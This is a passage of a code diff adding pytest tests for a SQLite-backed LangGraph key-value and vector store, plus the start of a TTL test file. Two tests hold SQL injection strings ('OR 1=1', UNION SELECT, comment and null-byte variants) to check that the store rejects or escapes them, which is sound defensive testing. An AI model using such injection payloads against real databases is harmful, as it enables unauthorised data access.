updated_item.value == updated_value + # Don't check timestamps because SQLite execution might be too fast + # assert updated_item.updated_at > item.updated_at + + # Test get from non-existent namespace + different_namespace = ("test", "other_documents") + item_in_different_namespace = store.get(different_namespace, item_id) + assert item_in_different_namespace is None + + # Test delete + store.delete(namespace, item_id) + deleted_item = store.get(namespace, item_id) + assert deleted_item is None + + def test_list_namespaces(self) -> None: + with SqliteStore.from_conn_string(":memory:") as store: + store.setup() + # Create test data with various namespaces + test_namespaces = [ + ("test", "documents", "public"), + ("test", "documents", "private"), + ("test", "images", "public"), + ("test", "images", "private"), + ("prod", "documents", "public"), + ("prod", "documents", "private"), + ] + + # Insert test data + for namespace in test_namespaces: + store.put(namespace, "dummy", {"content": "dummy"}) + + # Test listing with various filters + all_namespaces = store.list_namespaces() + assert len(all_namespaces) == len(test_namespaces) + + # Test prefix filtering + test_prefix_namespaces = store.list_namespaces(prefix=["test"]) + assert len(test_prefix_namespaces) == 4 + assert all(ns[0] == "test" for ns in test_prefix_namespaces) + + # Test suffix filtering + public_namespaces = store.list_namespaces(suffix=["public"]) + assert len(public_namespaces) == 3 + assert all(ns[-1] == "public" for ns in public_namespaces) + + # Test max depth + depth_2_namespaces = store.list_namespaces(max_depth=2) + assert all(len(ns) <= 2 for ns in depth_2_namespaces) + + # Test pagination + paginated_namespaces = store.list_namespaces(limit=3) + assert len(paginated_namespaces) == 3 + + # Cleanup + for namespace in test_namespaces: + store.delete(namespace, "dummy") + + def test_search(self) -> None: + with SqliteStore.from_conn_string(":memory:") as store: + store.setup() + # Create test data + test_data = [ + ( + ("test", "docs"), + "doc1", + {"title": "First Doc", "author": "Alice", "tags": ["important"]}, + ), + ( + ("test", "docs"), + "doc2", + {"title": "Second Doc", "author": "Bob", "tags": ["draft"]}, + ), + ( + ("test", "images"), + "img1", + {"title": "Image 1", "author": "Alice", "tags": ["final"]}, + ), + ] + + for namespace, key, value in test_data: + store.put(namespace, key, value) + + # Test basic search + all_items = store.search(["test"]) + assert len(all_items) == 3 + + # Test namespace filtering + docs_items = store.search(["test", "docs"]) + assert len(docs_items) == 2 + assert all(item.namespace == ("test", "docs") for item in docs_items) + + # Test value filtering + alice_items = store.search(["test"], filter={"author": "Alice"}) + assert len(alice_items) == 2 + assert all(item.value["author"] == "Alice" for item in alice_items) + + # Test pagination + paginated_items = store.search(["test"], limit=2) + assert len(paginated_items) == 2 + + offset_items = store.search(["test"], offset=2) + assert len(offset_items) == 1 + + # Cleanup + for namespace, key, _ in test_data: + store.delete(namespace, key) + + +def test_vector_store_initialization(fake_embeddings: CharacterEmbeddings) -> None: + """Test store initialization with embedding config.""" + # Basic initialization + with create_vector_store(fake_embeddings) as store: + assert store.index_config is not None + assert store.embeddings == fake_embeddings + assert store.index_config["dims"] == fake_embeddings.dims + assert store.index_config.get("text_fields") is None + + # With text fields specified + text_fields = ["content", "title"] + with create_vector_store(fake_embeddings, text_fields=text_fields) as store: + assert store.index_config is not None + assert store.embeddings == fake_embeddings + assert store.index_config["dims"] == fake_embeddings.dims + assert store.index_config["text_fields"] == text_fields + + # Ensure store setup properly creates the vector tables + with create_vector_store(fake_embeddings) as store: + # Check if vector tables exist + cursor = store.conn.cursor() + cursor.execute( + "SELECT name FROM sqlite_master WHERE type='table' AND name LIKE '%vector%'" + ) + tables = cursor.fetchall() + assert len(tables) >= 1, "Vector tables were not created" + + +@pytest.mark.parametrize("distance_type", VECTOR_TYPES) +@pytest.mark.parametrize("conn_type", ["memory", "file"]) +def test_vector_insert_with_auto_embedding( + fake_embeddings: CharacterEmbeddings, + distance_type: str, + conn_type: Literal["memory", "file"], +) -> None: + """Test inserting items that get auto-embedded.""" + with create_vector_store( + fake_embeddings, distance_type=distance_type, conn_type=conn_type + ) as store: + docs = [ + ("doc1", {"text": "short text"}), + ("doc2", {"text": "longer text document"}), + ("doc3", {"text": "longest text document here"}), + ("doc4", {"description": "text in description field"}), + ("doc5", {"content": "text in content field"}), + ("doc6", {"body": "text in body field"}), + ] + + for key, value in docs: + store.put(("test",), key, value) + + results = store.search(("test",), query="long text") + assert len(results) > 0 + + doc_order = [r.key for r in results] + assert "doc2" in doc_order + assert "doc3" in doc_order + + +@pytest.mark.parametrize("distance_type", VECTOR_TYPES) +@pytest.mark.parametrize("conn_type", ["memory", "file"]) +def test_vector_update_with_embedding( + fake_embeddings: CharacterEmbeddings, + distance_type: str, + conn_type: Literal["memory", "file"], +) -> None: + """Test that updating items properly updates their embeddings.""" + with create_vector_store( + fake_embeddings, distance_type=distance_type, conn_type=conn_type + ) as store: + store.put(("test",), "doc1", {"text": "zany zebra Xerxes"}) + store.put(("test",), "doc2", {"text": "something about dogs"}) + store.put(("test",), "doc3", {"text": "text about birds"}) + + results_initial = store.search(("test",), query="Zany Xerxes") + assert len(results_initial) > 0 + assert results_initial[0].key == "doc1" + initial_score = results_initial[0].score + + store.put(("test",), "doc1", {"text": "new text about dogs"}) + + results_after = store.search(("test",), query="Zany Xerxes") + after_score = next((r.score for r in results_after if r.key == "doc1"), 0.0) + assert after_score < initial_score + + results_new = store.search(("test",), query="new text about dogs") + for r in results_new: + if r.key == "doc1": + assert r.score > after_score + + # Don't index this one + store.put(("test",), "doc4", {"text": "new text about dogs"}, index=False) + results_new = store.search(("test",), query="new text about dogs", limit=3) + assert not any(r.key == "doc4" for r in results_new) + + +@pytest.mark.parametrize("distance_type", VECTOR_TYPES) +def test_vector_search_with_filters( + fake_embeddings: CharacterEmbeddings, + distance_type: str, +) -> None: + """Test combining vector search with filters.""" + with create_vector_store(fake_embeddings, distance_type=distance_type) as store: + # Insert test documents + docs = [ + ("doc1", {"text": "red apple", "color": "red", "score": 4.5}), + ("doc2", {"text": "red car", "color": "red", "score": 3.0}), + ("doc3", {"text": "green apple", "color": "green", "score": 4.0}), + ("doc4", {"text": "blue car", "color": "blue", "score": 3.5}), + ] + for key, value in docs: + store.put(("test",), key, value) + + results = store.search(("test",), query="apple", filter={"color": "red"}) + + # Check ordering and score - verify "doc1" is first result + assert len(results) == 2 + assert results[0].key == "doc1" + + results = store.search(("test",), query="car", filter={"color": "red"}) + # Check ordering - verify "doc2" is first result + assert len(results) > 0 + assert results[0].key == "doc2" + + results = store.search( + ("test",), query="bbbbluuu", filter={"score": {"$gt": 3.2}} + ) + # There should be 3 documents with score > 3.2 + assert len(results) == 3 + # Check that the blue car is the most similar to "bbbbluuu" query + assert results[0].key == "doc4" # The blue car should be the most relevant + # Verify remaining docs are ordered by appropriate similarity + high_score_keys = [r.key for r in results] + assert "doc1" in high_score_keys # score 4.5 + assert "doc3" in high_score_keys # score 4.0 + + # Multiple filters + results = store.search( + ("test",), query="apple", filter={"score": {"$gte": 4.0}, "color": "green"} + ) + # Check that doc3 is the top result + assert len(results) > 0 + assert results[0].key == "doc3" + + +@pytest.mark.parametrize("distance_type", VECTOR_TYPES) +def test_vector_search_pagination( + fake_embeddings: CharacterEmbeddings, + distance_type: str, +) -> None: + """Test pagination with vector search.""" + with create_vector_store(fake_embeddings, distance_type=distance_type) as store: + # Insert multiple similar documents + for i in range(5): + store.put(("test",), f"doc{i}", {"text": f"test document number {i}"}) + + # Test with different page sizes + results_page1 = store.search(("test",), query="test", limit=2) + results_page2 = store.search(("test",), query="test", limit=2, offset=2) + + assert len(results_page1) == 2 + assert len(results_page2) == 2 + # Make sure different pages have different results + assert results_page1[0].key != results_page2[0].key + assert results_page1[1].key != results_page2[0].key + assert results_page1[0].key != results_page2[1].key + assert results_page1[1].key != results_page2[1].key + + # Check scores are in descending order within each page + assert results_page1[0].score >= results_page1[1].score + assert results_page2[0].score >= results_page2[1].score + + # First page results should have higher scores than second page + all_results = store.search(("test",), query="test", limit=10) + assert len(all_results) == 5 + assert ( + all_results[0].score >= all_results[2].score + ) # First page vs second page start + + +@pytest.mark.parametrize("distance_type", VECTOR_TYPES) +def test_vector_search_edge_cases( + fake_embeddings: CharacterEmbeddings, + distance_type: str, +) -> None: + """Test edge cases in vector search.""" + with create_vector_store(fake_embeddings, distance_type=distance_type) as store: + store.put(("test",), "doc1", {"text": "test document"}) + + results = store.search(("test",), query="") + assert len(results) == 1 + + results = store.search(("test",), query=None) + assert len(results) == 1 + + long_query = "test " * 100 + results = store.search(("test",), query=long_query) + assert len(results) == 1 + + special_query = "test!@#$%^&*()" + results = store.search(("test",), query=special_query) + assert len(results) == 1 + + +@pytest.mark.parametrize("distance_type", VECTOR_TYPES) +def test_embed_with_path( + fake_embeddings: CharacterEmbeddings, + distance_type: str, +) -> None: + """Test vector search with specific text fields in SQLite store.""" + with create_vector_store( + fake_embeddings, + text_fields=["key0", "key1", "key3"], + distance_type=distance_type, + ) as store: + # This will have 2 vectors representing it + doc1 = { + # Omit key0 - check it doesn't raise an error + "key1": "xxx", + "key2": "yyy", + "key3": "zzz", + } + # This will have 3 vectors representing it + doc2 = { + "key0": "uuu", + "key1": "vvv", + "key2": "www", + "key3": "xxx", + } + store.put(("test",), "doc1", doc1) + store.put(("test",), "doc2", doc2) + + # doc2.key3 and doc1.key1 both would have the highest score + results = store.search(("test",), query="xxx") + assert len(results) == 2 + assert results[0].key != results[1].key + assert results[0].score > 0.9 + assert results[1].score > 0.9 + + # ~Only match doc2 + results = store.search(("test",), query="uuu") + assert len(results) == 2 + assert results[0].key != results[1].key + assert results[0].key == "doc2" + assert results[0].score > results[1].score + + # ~Only match doc1 + results = store.search(("test",), query="zzz") + assert len(results) == 2 + assert results[0].key != results[1].key + assert results[0].key == "doc1" + assert results[0].score > results[1].score + + # Un-indexed - will have low results for both, Not zero (because we're projecting) + # but less than the above. + results = store.search(("test",), query="www") + assert len(results) == 2 + assert results[0].key != results[1].key + assert results[0].score < 0.9 + assert results[1].score < 0.9 + + +@pytest.mark.parametrize("distance_type", VECTOR_TYPES) +def test_embed_with_path_operation_config( + fake_embeddings: CharacterEmbeddings, + distance_type: str, +) -> None: + """Test operation-level field configuration for vector search.""" + with create_vector_store( + fake_embeddings, text_fields=["key17"], distance_type=distance_type + ) as store: + doc3 = { + "key0": "aaa", + "key1": "bbb", + "key2": "ccc", + "key3": "ddd", + } + doc4 = { + "key0": "eee", + "key1": "bbb", # Same as doc3.key1 + "key2": "fff", + "key3": "ggg", + } + + store.put(("test",), "doc3", doc3, index=["key0", "key1"]) + store.put(("test",), "doc4", doc4, index=["key1", "key3"]) + + results = store.search(("test",), query="aaa") + assert len(results) == 2 + assert results[0].key == "doc3" + assert len(set(r.key for r in results)) == 2 + assert results[0].score > results[1].score + + results = store.search(("test",), query="ggg") + assert len(results) == 2 + assert results[0].key == "doc4" + assert results[0].score > results[1].score + + results = store.search(("test",), query="bbb") + assert len(results) == 2 + assert results[0].key != results[1].key + assert abs(results[0].score - results[1].score) < 0.1 # Similar scores + + results = store.search(("test",), query="ccc") + assert len(results) == 2 + assert all( + r.score < 0.9 for r in results + ) # Unindexed field should have low scores + + # Test index=False behavior + doc5 = { + "key0": "hhh", + "key1": "iii", + } + store.put(("test",), "doc5", doc5, index=False) + results = store.search(("test",)) + assert len(results) == 3 + assert any(r.key == "doc5" for r in results) + + +# Helper functions for vector similarity calculations +def _cosine_similarity(X: list[float], Y: list[list[float]]) -> list[float]: + """ + Compute cosine similarity between a vector X and a matrix Y. + Lazy import numpy for efficiency. + """ + + similarities = [] + for y in Y: + dot_product = sum(a * b for a, b in zip(X, y, strict=False)) + norm1 = sum(a * a for a in X) ** 0.5 + norm2 = sum(a * a for a in y) ** 0.5 + similarity = dot_product / (norm1 * norm2) if norm1 > 0 and norm2 > 0 else 0.0 + similarities.append(similarity) + + return similarities + + +@pytest.mark.parametrize("query", ["aaa", "bbb", "ccc", "abcd", "poisson"]) +@pytest.mark.parametrize("conn_type", ["memory", "file"]) +def test_scores( + fake_embeddings: CharacterEmbeddings, + query: str, + conn_type: Literal["memory", "file"], +) -> None: + """Test operation-level field configuration for vector search.""" + with create_vector_store( + fake_embeddings, + text_fields=["key0"], + distance_type="cosine", + conn_type=conn_type, + ) as store: + doc = { + "key0": "aaa", + } + store.put(("test",), "doc", doc, index=["key0", "key1"]) + + results = store.search((), query=query) + vec0 = fake_embeddings.embed_query(doc["key0"]) + vec1 = fake_embeddings.embed_query(query) + + # SQLite uses cosine similarity by default + similarities = _cosine_similarity(vec1, [vec0]) + + assert len(results) == 1 + assert results[0].score == pytest.approx(similarities[0], abs=1e-3) + + +def test_nonnull_migrations() -> None: + """Test that all migration statements are non-null.""" + _leading_comment_remover = re.compile(r"^/\*.*?\*/") + for migration in SqliteStore.MIGRATIONS: + statement = _leading_comment_remover.sub("", migration).split()[0] + assert statement.strip(), f"Empty migration statement found: {migration}" + + +def test_basic_store_operations( + fake_embeddings: CharacterEmbeddings, +) -> None: + """Test basic store operations with SQLite store.""" + with create_vector_store( + fake_embeddings, text_fields=["key0", "key1", "key3"] + ) as store: + uid = uuid.uuid4().hex + namespace = (uid, "test", "documents") + item_id = "doc1" + item_value = {"title": "Test Document", "content": "Hello, World!"} + results = store.search((uid,)) + assert len(results) == 0 + + store.put(namespace, item_id, item_value) + item = store.get(namespace, item_id) + + assert item is not None + assert item.namespace == namespace + assert item.key == item_id + assert item.value == item_value + assert item.created_at is not None + assert item.updated_at is not None + + updated_value = { + "title": "Updated Test Document", + "content": "Hello, LangGraph!", + } + store.put(namespace, item_id, updated_value) + updated_item = store.get(namespace, item_id) + assert updated_item is not None + + assert updated_item.value == updated_value + assert updated_item.updated_at >= item.updated_at + + different_namespace = (uid, "test", "other_documents") + item_in_different_namespace = store.get(different_namespace, item_id) + assert item_in_different_namespace is None + + new_item_id = "doc2" + new_item_value = {"title": "Another Document", "content": "Greetings!"} + store.put(namespace, new_item_id, new_item_value) + + items = store.search((uid, "test"), limit=10) + assert len(items) == 2 + assert any(item.key == item_id for item in items) + assert any(item.key == new_item_id for item in items) + + namespaces = store.list_namespaces(prefix=(uid, "test")) + assert (uid, "test", "documents") in namespaces + + store.delete(namespace, item_id) + store.delete(namespace, new_item_id) + deleted_item = store.get(namespace, item_id) + assert deleted_item is None + + deleted_item = store.get(namespace, new_item_id) + assert deleted_item is None + + empty_search_results = store.search((uid, "test"), limit=10) + assert len(empty_search_results) == 0 + + +def test_list_namespaces_operations( + fake_embeddings: CharacterEmbeddings, +) -> None: + """Test list namespaces functionality with various filters.""" + with create_vector_store( + fake_embeddings, text_fields=["key0", "key1", "key3"] + ) as store: + test_pref = str(uuid.uuid4()) + test_namespaces = [ + (test_pref, "test", "documents", "public", test_pref), + (test_pref, "test", "documents", "private", test_pref), + (test_pref, "test", "images", "public", test_pref), + (test_pref, "test", "images", "private", test_pref), + (test_pref, "prod", "documents", "public", test_pref), + (test_pref, "prod", "documents", "some", "nesting", "public", test_pref), + (test_pref, "prod", "documents", "private", test_pref), + ] + + # Add test data + for namespace in test_namespaces: + store.put(namespace, "dummy", {"content": "dummy"}) + + # Test prefix filtering + prefix_result = store.list_namespaces(prefix=(test_pref, "test")) + assert len(prefix_result) == 4 + assert all(ns[1] == "test" for ns in prefix_result) + + # Test specific prefix + specific_prefix_result = store.list_namespaces( + prefix=(test_pref, "test", "documents") + ) + assert len(specific_prefix_result) == 2 + assert all(ns[1:3] == ("test", "documents") for ns in specific_prefix_result) + + # Test suffix filtering + suffix_result = store.list_namespaces(suffix=("public", test_pref)) + assert len(suffix_result) == 4 + assert all(ns[-2] == "public" for ns in suffix_result) + + # Test combined prefix and suffix + prefix_suffix_result = store.list_namespaces( + prefix=(test_pref, "test"), suffix=("public", test_pref) + ) + assert len(prefix_suffix_result) == 2 + assert all( + ns[1] == "test" and ns[-2] == "public" for ns in prefix_suffix_result + ) + + # Test wildcard in prefix + wildcard_prefix_result = store.list_namespaces( + prefix=(test_pref, "*", "documents") + ) + assert len(wildcard_prefix_result) == 5 + assert all(ns[2] == "documents" for ns in wildcard_prefix_result) + + # Test wildcard in suffix + wildcard_suffix_result = store.list_namespaces( + suffix=("*", "public", test_pref) + ) + assert len(wildcard_suffix_result) == 4 + assert all(ns[-2] == "public" for ns in wildcard_suffix_result) + + wildcard_single = store.list_namespaces( + suffix=("some", "*", "public", test_pref) + ) + assert len(wildcard_single) == 1 + assert wildcard_single[0] == ( + test_pref, + "prod", + "documents", + "some", + "nesting", + "public", + test_pref, + ) + + # Test max depth + max_depth_result = store.list_namespaces(max_depth=3) + assert all(len(ns) <= 3 for ns in max_depth_result) + + max_depth_result = store.list_namespaces( + max_depth=4, prefix=(test_pref, "*", "documents") + ) + assert len(set(res for res in max_depth_result)) == len(max_depth_result) == 5 + + # Test pagination + limit_result = store.list_namespaces(prefix=(test_pref,), limit=3) + assert len(limit_result) == 3 + + offset_result = store.list_namespaces(prefix=(test_pref,), offset=3) + assert len(offset_result) == len(test_namespaces) - 3 + + empty_prefix_result = store.list_namespaces(prefix=(test_pref,)) + assert len(empty_prefix_result) == len(test_namespaces) + assert set(empty_prefix_result) == set(test_namespaces) + + # Clean up + for namespace in test_namespaces: + store.delete(namespace, "dummy") + + +def test_search_items( + fake_embeddings: CharacterEmbeddings, +) -> None: + """Test search_items functionality by calling store methods directly.""" + base = "test_search_items" + test_namespaces = [ + (base, "documents", "user1"), + (base, "documents", "user2"), + (base, "reports", "department1"), + (base, "reports", "department2"), + ] + test_items = [ + {"title": "Doc 1", "author": "John Doe", "tags": ["important"]}, + {"title": "Doc 2", "author": "Jane Smith", "tags": ["draft"]}, + {"title": "Report A", "author": "John Doe", "tags": ["final"]}, + {"title": "Report B", "author": "Alice Johnson", "tags": ["draft"]}, + ] + + with create_vector_store( + fake_embeddings, text_fields=["key0", "key1", "key3"] + ) as store: + # Insert test data + for ns, item in zip(test_namespaces, test_items, strict=False): + key = f"item_{ns[-1]}" + store.put(ns, key, item) + + # 1. Search documents + docs = store.search((base, "documents")) + assert len(docs) == 2 + assert all(item.namespace[1] == "documents" for item in docs) + + # 2. Search reports + reports = store.search((base, "reports")) + assert len(reports) == 2 + assert all(item.namespace[1] == "reports" for item in reports) + + # 3. Pagination + first_page = store.search((base,), limit=2, offset=0) + second_page = store.search((base,), limit=2, offset=2) + assert len(first_page) == 2 + assert len(second_page) == 2 + keys_page1 = {item.key for item in first_page} + keys_page2 = {item.key for item in second_page} + assert keys_page1.isdisjoint(keys_page2) + all_items = store.search((base,)) + assert len(all_items) == 4 + + john_items = store.search((base,), filter={"author": "John Doe"}) + assert len(john_items) == 2 + assert all(item.value["author"] == "John Doe" for item in john_items) + + draft_items = store.search((base,), filter={"tags": ["draft"]}) + assert len(draft_items) == 2 + assert all("draft" in item.value["tags"] for item in draft_items) + + for ns in test_namespaces: + key = f"item_{ns[-1]}" + store.delete(ns, key) + + +def test_sql_injection_vulnerability(store: SqliteStore) -> None: + """Test that SQL injection via malicious filter keys is prevented.""" + # Add public and private documents + store.put(("docs",), "public", {"access": "public", "data": "public info"}) + store.put( + ("docs",), "private", {"access": "private", "data": "secret", "password": "123"} + ) + + # Normal query - returns 1 public document + normal = store.search(("docs",), filter={"access": "public"}) + assert len(normal) == 1 + assert normal[0].value["access"] == "public" + + # SQL injection attempt via malicious key should raise ValueError + malicious_key = "access') = 'public' OR '1'='1' OR json_extract(value, '$." + + with pytest.raises(ValueError, match="Invalid filter key"): + store.search(("docs",), filter={malicious_key: "dummy"}) + + +def test_sql_injection_filter_values(store: SqliteStore) -> None: + """Test that SQL injection via malicious filter values is properly escaped.""" + # Setup: Create documents with different access levels + store.put(("docs",), "doc1", {"access": "public", "title": "Public Document"}) + store.put(("docs",), "doc2", {"access": "private", "title": "Private Document"}) + store.put(("docs",), "doc3", {"access": "secret", "title": "Secret Document"}) + + # Test 1: Basic SQL injection attempt with single quote + malicious_value = "public' OR '1'='1" + results = store.search(("docs",), filter={"access": malicious_value}) + # Should return 0 results because the malicious value is escaped and won't match anything + assert len(results) == 0, "SQL injection via string value should be blocked" + + # Test 2: SQL injection with comment + malicious_value = "public'; --" + results = store.search(("docs",), filter={"access": malicious_value}) + assert len(results) == 0, "SQL comment injection should be blocked" + + # Test 3: UNION injection attempt + malicious_value = "public' UNION SELECT * FROM store --" + results = store.search(("docs",), filter={"access": malicious_value}) + assert len(results) == 0, "UNION injection should be blocked" + + # Test 4: Parameterized queries handle strings with null bytes and SQL injection attempts safely + malicious_value = "public\x00' OR '1'='1" + results = store.search(("docs",), filter={"access": malicious_value}) + assert len(results) == 0, ( + "Parameterized queries treat injection attempts as literal strings" + ) + + # Test 5: Multiple single quotes + malicious_value = "''''" + results = store.search(("docs",), filter={"access": malicious_value}) + assert len(results) == 0, "Multiple quotes should be handled safely" + + # Test 6: Legitimate value with single quote should work + store.put(("docs",), "doc4", {"title": "O'Brien's Document", "access": "public"}) + results = store.search(("docs",), filter={"title": "O'Brien's Document"}) + assert len(results) == 1, "Legitimate single quotes should work" + assert results[0].value["title"] == "O'Brien's Document" + + # Test 7: Unicode characters with injection attempt + malicious_value = "public' OR 'א'='א" + results = store.search(("docs",), filter={"access": malicious_value}) + assert len(results) == 0, "Unicode-based injection should be blocked" + + +def test_numeric_filter_safety(store: SqliteStore) -> None: + """Test that numeric filter values are handled safely.""" + # Setup: Create documents with numeric fields + store.put(("items",), "item1", {"price": 10, "quantity": 5}) + store.put(("items",), "item2", {"price": 20, "quantity": 3}) + store.put(("items",), "item3", {"price": 30, "quantity": 1}) + + # Test 1: Normal numeric comparison + results = store.search(("items",), filter={"price": {"$gt": 15}}) + assert len(results) == 2 + assert all(r.value["price"] > 15 for r in results) + + # Test 2: Special float values (infinity) + results = store.search(("items",), filter={"price": {"$lt": float("inf")}}) + assert len(results) == 3, "All finite values should be less than infinity" + + # Test 3: Special float values (negative infinity) + results = store.search(("items",), filter={"price": {"$gt": float("-inf")}}) + assert len(results) == 3, ( + "All finite values should be greater than negative infinity" + ) + + # Test 4: NaN handling - NaN comparisons should not cause errors + try: + results = store.search(("items",), filter={"price": {"$eq": float("nan")}}) + # NaN never equals anything, including itself, so should return 0 results + assert len(results) == 0 + except Exception as e: + pytest.fail(f"NaN handling should not raise exception: {e}") + + # Test 5: Very large numbers + results = store.search(("items",), filter={"price": {"$lt": 10**100}}) + assert len(results) == 3, "Very large numbers should be handled safely" + + # Test 6: Negative numbers + store.put(("items",), "item4", {"price": -10, "quantity": 0}) + results = store.search(("items",), filter={"price": {"$lt": 0}}) + assert len(results) == 1 + assert results[0].key == "item4" + + +def test_boolean_filter_safety(store: SqliteStore) -> None: + """Test that boolean filter values are handled safely.""" + store.put(("flags",), "flag1", {"active": True, "name": "Feature A"}) + store.put(("flags",), "flag2", {"active": False, "name": "Feature B"}) + store.put(("flags",), "flag3", {"active": True, "name": "Feature C"}) + + # Test boolean filters + results = store.search(("flags",), filter={"active": True}) + assert len(results) == 2 + assert all(r.value["active"] is True for r in results) + + results = store.search(("flags",), filter={"active": False}) + assert len(results) == 1 + assert results[0].value["active"] is False + + +def test_filter_keys_with_hyphens_and_digits(store: SqliteStore) -> None: + """Keys with hyphens or leading digits should be queryable via filters. + + Current unquoted JSON path construction (e.g., '$.access-level' or '$.123abc') + is not valid JSON1 syntax, so this test will catch regressions in path handling. + """ + # Documents with top-level and nested keys requiring bracket-quoted JSON paths + store.put( + ("docs",), + "hyphen", + {"access-level": "public", "user": {"access-level": "nested"}}, + ) + store.put(("docs",), "digit", {"123abc": "ok", "user": {"123abc": "ok2"}}) + + # Top-level hyphenated key + results = store.search(("docs",), filter={"access-level": "public"}) + assert [r.key for r in results] == ["hyphen"] + + # Nested hyphenated key via dotted path + results = store.search(("docs",), filter={"user.access-level": "nested"}) + assert [r.key for r in results] == ["hyphen"] + + # Top-level digit-starting key + results = store.search(("docs",), filter={"123abc": "ok"}) + assert [r.key for r in results] == ["digit"] + + # Nested digit-starting key via dotted path + results = store.search(("docs",), filter={"user.123abc": "ok2"}) + assert [r.key for r in results] == ["digit"] + + +@pytest.mark.parametrize("distance_type", VECTOR_TYPES) +def test_non_ascii( + fake_embeddings: CharacterEmbeddings, + distance_type: str, +) -> None: + """Test support for non-ascii characters""" + with create_vector_store(fake_embeddings, distance_type=distance_type) as store: + store.put(("user_123", "memories"), "1", {"text": "这是中文"}) # Chinese + store.put( + ("user_123", "memories"), "2", {"text": "これは日本語です"} + ) # Japanese + store.put(("user_123", "memories"), "3", {"text": "이건 한국어야"}) # Korean + store.put(("user_123", "memories"), "4", {"text": "Это русский"}) # Russian + store.put(("user_123", "memories"), "5", {"text": "यह रूसी है"}) # Hindi + + result1 = store.search(("user_123", "memories"), query="这是中文") + result2 = store.search(("user_123", "memories"), query="これは日本語です") + result3 = store.search(("user_123", "memories"), query="이건 한국어야") + result4 = store.search(("user_123", "memories"), query="Это русский") + result5 = store.search(("user_123", "memories"), query="यह रूसी है") + + assert result1[0].key == "1" + assert result2[0].key == "2" + assert result3[0].key == "3" + assert result4[0].key == "4" + assert result5[0].key == "5" diff --git a/libs/checkpoint-sqlite/tests/test_ttl.py b/libs/checkpoint-sqlite/tests/test_ttl.py new file mode 100644 index 0000000..28d43a7 --- /dev/null +++ b/libs/checkpoint-sqlite/tests/test_ttl.py @@ -0,0 +1,429 @@ +"""Test SQLite store Time-To-Live (TTL) functionality.""" + +import asyncio +import os +import tempfile +import time +from collections.abc import Generator + +import pytest +from langgraph.store.base import TTLConfig + +from langgraph.store.sqlite import SqliteStore +from langgraph.store.sqlite.aio import AsyncSqliteStore + + +@pytest.fixture +def temp_db_file() -> Generator[str, None, None]: + """Create a temporary database file for testing.""" + fd, path = tempfile.mkstemp() + os.close(fd) + yield path + os.unlink(path) + + +def test_ttl_basic(temp_db_file: str) -> None: + """Test basic TTL functionality with synchronous API.""" + ttl_seconds = 1 + ttl_minutes = ttl_seconds / 60 + + with SqliteStore.from_conn_string( + temp_db_file, ttl={"default_ttl": ttl_minutes} + ) as store: + store.setup() + + store.put(("test",), "item1", {"value": "test"}) + + item = store.get(("test",), "item1") + assert item is not None + assert item.value["value"] == "test" + + time.sleep(ttl_seconds + 1.0) + + store.sweep_ttl() + + item = store.get(("test",), "item1") + assert item is None + + +@pytest.mark.flaky(retries=3) +def test_ttl_refresh(temp_db_file: str) -> None: + """Test TTL refresh on read.""" + ttl_seconds = 1 + ttl_minutes = ttl_seconds / 60 + + with SqliteStore.from_conn_string( + temp_db_file, ttl={"default_ttl": ttl_minutes, "refresh_on_read": True} + ) as store: + store.setup() + + # Store an item with TTL + store.put(("test",), "item1", {"value": "test"}) + + # Sleep almost to expiration + time.sleep(ttl_seconds - 0.5) + swept = store.sweep_ttl() + assert swept == 0 + + # Get the item and refresh TTL + item = store.get(("test",), "item1", refresh_ttl=True) + assert item is not None + + time.sleep(ttl_seconds - 0.5) + swept = store.sweep_ttl() + assert swept == 0 + + # Get the item, should still be there + item = store.get(("test",), "item1") + assert item is not None + assert item.value["value"] == "test" + + # Sleep again but don't refresh this time + time.sleep(ttl_seconds + 0.75) + + swept = store.sweep_ttl() + assert swept == 1 + + # Item should be gone now + item = store.get(("test",), "item1") + assert item is None + + +def test_ttl_sweeper(temp_db_file: str) -> None: + """Test TTL sweeper thread.""" + ttl_seconds = 2 + ttl_minutes = ttl_seconds / 60 + + ttl_config: TTLConfig = { + "default_ttl": ttl_minutes, + "sweep_interval_minutes": ttl_minutes / 2, + } + with SqliteStore.from_conn_string( + temp_db_file, + ttl=ttl_config, + ) as store: + store.setup() + + # Start the TTL sweeper + store.start_ttl_sweeper() + + # Store an item with TTL + store.put(("test",), "item1", {"value": "test"}) + + # Item should be there initially + item = store.get(("test",), "item1") + assert item is not None + + # Wait for TTL to expire and the sweeper to run + time.sleep(ttl_seconds + (ttl_seconds / 2) + 0.5) + + # Item should be gone now (swept automatically) + item = store.get(("test",), "item1") + assert item is None + + # Stop the sweeper + store.stop_ttl_sweeper() + + +@pytest.mark.flaky(retries=3) +def test_ttl_custom_value(temp_db_file: str) -> None: + """Test TTL with custom value per item.""" + with SqliteStore.from_conn_string(temp_db_file) as store: + store.setup() + + # Store items with different TTLs + store.put(("test",), "item1", {"value": "short"}, ttl=1 / 60) # 1 second + store.put(("test",), "item2", {"value": "long"}, ttl=3 / 60) # 3 seconds + + # Item with short TTL + time.sleep(2) # Wait for short TTL + store.sweep_ttl() + + # Short TTL item should be gone, long TTL item should remain + item1 = store.get(("test",), "item1") + item2 = store.get(("test",), "item2") + assert item1 is None + assert item2 is not None + + # Wait for the second item's TTL + time.sleep(4) + store.sweep_ttl() + + # Now both should be gone + item2 = store.get(("test",), "item2") + assert item2 is None + + +@pytest.mark.flaky(retries=3) +def test_ttl_override_default(temp_db_file: str) -> None: + """Test overriding default TTL at the item level.""" + with SqliteStore.from_conn_string( + temp_db_file, + ttl={"default_ttl": 5 / 60}, # 5 seconds default + ) as store: + store.setup() + + # Store an item with shorter than default TTL + store.put(("test",), "item1", {"value": "override"}, ttl=1 / 60) # 1 second + + # Store an item with default TTL + store.put(("test",), "item2", {"value": "default"}) # Uses default 5 seconds + + # Store an item with no TTL + store.put(("test",), "item3", {"value": "permanent"}, ttl=None) + + # Wait for the override TTL to expire + time.sleep(2) + store.sweep_ttl() + + # Check results + item1 = store.get(("test",), "item1") + item2 = store.get(("test",), "item2") + item3 = store.get(("test",), "item3") + + assert item1 is None # Should be expired + assert item2 is not None # Default TTL, should still be there + assert item3 is not None # No TTL, should still be there + + # Wait for default TTL to expire + time.sleep(4) + store.sweep_ttl() + + # Check results again + item2 = store.get(("test",), "item2") + item3 = store.get(("test",), "item3") + + assert item2 is None # Default TTL item should be gone + assert item3 is not None # No TTL item should still be there + + +@pytest.mark.flaky(retries=3) +def test_search_with_ttl(temp_db_file: str) -> None: + """Test TTL with search operations.""" + ttl_seconds = 1 + ttl_minutes = ttl_seconds / 60 + + with SqliteStore.from_conn_string( + temp_db_file, ttl={"default_ttl": 